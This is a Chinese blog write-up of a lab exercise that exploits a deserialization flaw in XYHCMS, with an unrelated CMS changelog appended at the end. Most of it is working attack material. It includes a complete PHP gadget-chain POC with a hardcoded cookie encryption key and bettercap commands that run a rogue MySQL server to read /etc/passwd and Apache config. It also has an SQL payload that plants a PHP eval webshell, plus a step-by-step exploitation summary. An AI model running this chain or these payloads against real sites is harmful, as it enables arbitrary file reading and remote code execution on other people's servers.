xyhcms反序列化 xyhcms漏洞

xyhcms反序列化

前言

前几天弄了一下暗月师傅的靶场,觉得这个挺有意思逐记录下来。

xyhcms

打开页面
在这里插入图片描述

然后网上找了个poc是这个师傅的文章
https://www.cnblogs.com/ShiLianA/articles/16657455.html
poc:

<?php
namespace Think\Db\Driver;
use PDO;
class Mysql{
    protected $options = array(
        PDO::MYSQL_ATTR_LOCAL_INFILE => true
    );
    protected $config = array(
        "dsn"    => "mysql:host=192.168.0.23;dbname=xyhcms;port=3306",
        "username" => "root",
        "password" => "root"
    );
}

namespace Think;
class Model{
    protected $options   = array();
    protected $pk;
    protected $data = array();
    protected $db = null;
    public function __construct(){
        $this->db = new \Think\Db\Driver\Mysql();
        $this->options['where'] = '';
        $this->pk = 'luoke';
        $this->data[$this->pk] = array(
            "table" => "xyh_admin_log",
            "where" => "id=0"
        );
    }
}

namespace Think\Session\Driver;
class Memcache{
    protected $handle;
    public function __construct() {
        $this->handle = new \Think\Model();
    }
}

namespace Think\Image\Driver;
class Imagick{
    private $img;
    public function __construct() {
        $this->img = new \Think\Session\Driver\Memcache();
    }
}

namespace Common\Lib;
class SysCrypt{

    private $crypt_key;
    public function __construct($crypt_key) {
        $this -> crypt_key = $crypt_key;
    }
    public function php_encrypt($txt) {
        srand((double)microtime() * 1000000);
        $encrypt_key = md5(rand(0,32000));
        $ctr = 0;
        $tmp = '';
        for($i = 0;$i<strlen($txt);$i++) {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
        }
        return base64_encode(self::__key($tmp,$this -> crypt_key));
    }

    public function php_decrypt($txt) {
        $txt = self::__key(base64_decode($txt),$this -> crypt_key);
        $tmp = '';
        for($i = 0;$i < strlen($txt); $i++) {
            $md5 = $txt[$i];
            $tmp .= $txt[++$i] ^ $md5;
        }
        return $tmp;
    }

    private function __key($txt,$encrypt_key) {
        $encrypt_key = md5($encrypt_key);
        $ctr = 0;
        $tmp = '';
        for($i = 0; $i < strlen($txt); $i++) {
            $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
            $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
        }
        return $tmp;
    }

    public function __destruct() {
        $this -> crypt_key = null;
    }
}

function get_cookie($name, $key = '') {
    $key = 'VjP8u3rZw';
    $key = md5($key);
    $sc = new \Common\Lib\SysCrypt($key);
    $value = $sc->php_decrypt($name);
    return unserialize($value);
}

function set_cookie($args, $key = '') {
    $key = 'VjP8u3rZw';
    $value = serialize($args);
    $key = md5($key);
    $sc = new \Common\Lib\SysCrypt($key);
    $value = $sc->php_encrypt($value);
    return $value;
}

$b = new \Think\Image\Driver\Imagick();
$a = set_cookie($b,'');
echo str_replace('+','%2B',$a);

里面的加密的key需要目录遍历去App/Runtime/Data/d51694dcb61d76bef156076835ffd7e7_config/site.php
拿到key
在这里插入图片描述

启动一个恶意MySQL服务器

需要公网有这么一个服务来读文件
我是本地kali安装了bettercap
读/etc/passwd
bettercap -eval “set mysql.server.infile /etc/passwd; mysql.server on”
在这里插入图片描述映射到公网
(这里是因为公网vps镜像安装bettercap死活出我问题,我这里就直接映射了,还有上面那篇文章还有 https://github.com/Gifts/Rogue-MySql-Server/tree/master 这种方法,感兴趣的师傅可以试试)
在这里插入图片描述

生成poc

host和port,填你对应的恶意mysql服务的公网地址和端口就行
在这里插入图片描述
再修改一下上文提到泄露的key,然后运行。
在这里插入图片描述

poc利用

先去注册一个会员,然后登录进去
在这里插入图片描述进去之后,修改cookie处的nickname,也就是本次反序列的地方
在这里插入图片描述
然后就在这个页面刷新一下就好
然后就看到
在这里插入图片描述
当然目标不是为读一个passwd下面开始写shell

写webshell

首先,得先获得目标数据库配置文件,连上目标msyql才可以写
我们得先找到目标根路径,这里偷了个懒,用文章师傅的图,自己去下载cms下来也大概知道目录位置了
在这里插入图片描述
但是知道只能确认App/Common/Conf/db.php目录,绝对目录还是没有,网站用的apache可以,读/etc/httpd/conf/httpd.conf 来获取路径

重新开一下恶意mysql服务

 bettercap -eval "set mysql.server.infile /etc/httpd/conf/httpd.conf; mysql.server on"

在这里插入图片描述重开一下bettercap,刚才的会员页面刷新一下就可
在这里插入图片描述可以看到很常见的 /var/www/html/ 得到完整目录/var/www/html/App/Common/Conf/db.php
也可以看到目录遍历的成因,在 Indexes前面加个-就可以解决这个问题

但其实用上文师傅文章中报错看日志会更好一些
在这里插入图片描述
读数据库配置文件
root:root@123 mysql账号:密码
在这里插入图片描述修改poc,准备写shell

id=0; alter table xyh_guestbook add column `<script language='php'>eval(\$_POST[x]);</script>` varchar(10);

在这里插入图片描述
重新生成poc进行利用
在这里插入图片描述
需要访问在线留言触发一下

在这里插入图片描述

连接木马

http://x.x.x.223:8866/App/Runtime/Data/d51694dcb61d76bef156076835ffd7e7__fields/xyhcms.xyh_guestbook.php

在这里插入图片描述结束
在这里插入图片描述
该反序列化链的挖掘的流程在这文章里
https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA

总结

这里浅谈一下大概流程
1.需要泄露出key
看完文章会清楚,有点shiro那种感觉,它是解密然后在反序列化的,现在新版本已经把目录做随机了,也就是没有目录遍历或其他方法泄露出key那就难以利用
2.开启一个恶意读文件的mysql服务
3.构造出poc,进行利用
4.读到数据库配置文件db.php
需要知道文件绝对目录
5.写webshell,先反序列化连接目标数据库,执行sql语句
6.因为是写到留言版的shell,需要去该页面触发一下(具体原理不太清楚)
7.直接通过目录遍历找到木马位置,进行连接webshell就行

总结:感觉到写shell这一步,目录遍历还是很重要的,要不然感觉利用还是有些许困难的。

行云海CMSXYHCMS)网站内容管理系统 v3.5 bulid0508更新日志 [√]增加全局文档搜索(所有模型文档[单页除外])。 [√]增加Tag。 [√]增加通用配置标签:cfg。方便调用自己手动添加的配置项。 [√]增加上传图片水印功能。 [√]增加已上传的图片缩略图重新生成功能(在附件管理处),方便进行缩略图尺寸调整后使用。 [√]栏目增加css样式设置,方便前台调用(如果不同的栏目不同的图标样式等) [√]权限系统由原来的RBAC换成AUTH权限 [√]增加部门(网站后台),可设置后台内部用户(原管理员)所属于部门(原管理组),及对应职位(权限)。 [√]增加栏目权限统一设置,包括职位(原管理员组)及会员组的栏目权限。 [√]增加 添加文档时 点击数起始值可设置为随机数或固定数。 [√]增加文档的权重,权重越大的默认排前(用于文档的排序)。 [√]增加type标签调用范围,可调用对应栏目的信息,可调用对应栏目的父级栏目信息,可调用对应栏目的顶级栏目信息,使用时可3选1。 [√]增加栏目的状态,满足个性化需求。由原来的2种状态(显示、隐藏),变为3种状态:显示,隐藏(导航不显示,能访问),禁止(禁止访问) [√]增加栏目不存在的访问优化(属于SEO优化)。当栏目不存在/栏目禁止访问时,提示404(原来提示栏目不存在) [√]增加对应栏目的文档数标签:typenum。 [√]列表标签(如list,piclist等)增加对多栏目的支持,如typeid='2,3,4'。 [√]数据库表进行规范。如表名/字段名统一以小写和下划线分割。同时时间字段统一由原来时间截变为日期字段。 [√]自由块标签block调整为freeblock。解决跟框架模板block重名问题。 [√]跟国家言论政策接规,留言本和评论增加审核功能。新发布留言或评论需要审核后才会显示(默认)。当然如果有需求不审核能正常显示也可以,调用对应标签时,指定对应属性值即可。 [√]增加选择站内图片时,友好显示对应缩略图,同时可自由选择各尺寸图片(原来需要点击图片才会展示图片预览)。 [√]图片上传生成缩略图尺寸配置项,由原来2个合并成1个。 [√]客服代码进行全面升级。去除原来IE6的支持。新版本客服代码更现代,更美观。 [√]修改catlist标签不指定flag时(默认由原来为0变为1),则默认显示全部栏目。增加hideflag属性,当hideflag为0时,不包含隐藏的栏目。 [√]增强清除系统缓存功能,可以全部清除,也可以部份数据清除。如果清除过程有失败,也会及时提示,方便用户进一步处理。 [√]“更新静态缓存”功能进行合并优化(并不是所有人都会使用到,所以进行合并,同时有相关文字友好提示)。 [√]增加栏目/文档/留言/评论等标签的json接口,方便移动端使用数据。 [√]解决TP3.X在缓存使用却存在缺陷的安全问题 [√]禁止XYHCMS配置项填写php代码的等安全问题 行云海CMS(XYHcms)简介 行云海CMS(XYHcms)是完全开源的一套CMS内容管理系统,使用简单,轻松建站。 是企业建站、个人博客、个性网站的首选。系统简洁,高效,易用,一般的开发人员能够使用本系统以最低的成本、最少的人力投入,在最短的时间内架设一个功能齐全、性能优异的网站。 注:XYHCMS3.0要求php5.3及以上,如果php版本较低,请下载XYHCMS2.0 XYHCMS是基于PHP Mysql开发的网站内容管理系统,提供了单页模块,文章类模块,产品类模块,图片类模块,下载类模块等。你在使用过程中可选择任意模块来建设您的网站。 同时集成电脑版及手机版网站,方便各种终端访问。 伪静态一键设置,简单实用。 静态缓存设置,缓解服务器压力。 行云海CMS(XYHcms)前台页面   行云海CMS(XYHcms)后台管理 后台地址:域名/xyhai.php?s=/Index/index 用户名与密码:安装时可设置 后台页面: 相关阅读 同类推荐:CMS系统 企业网站
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值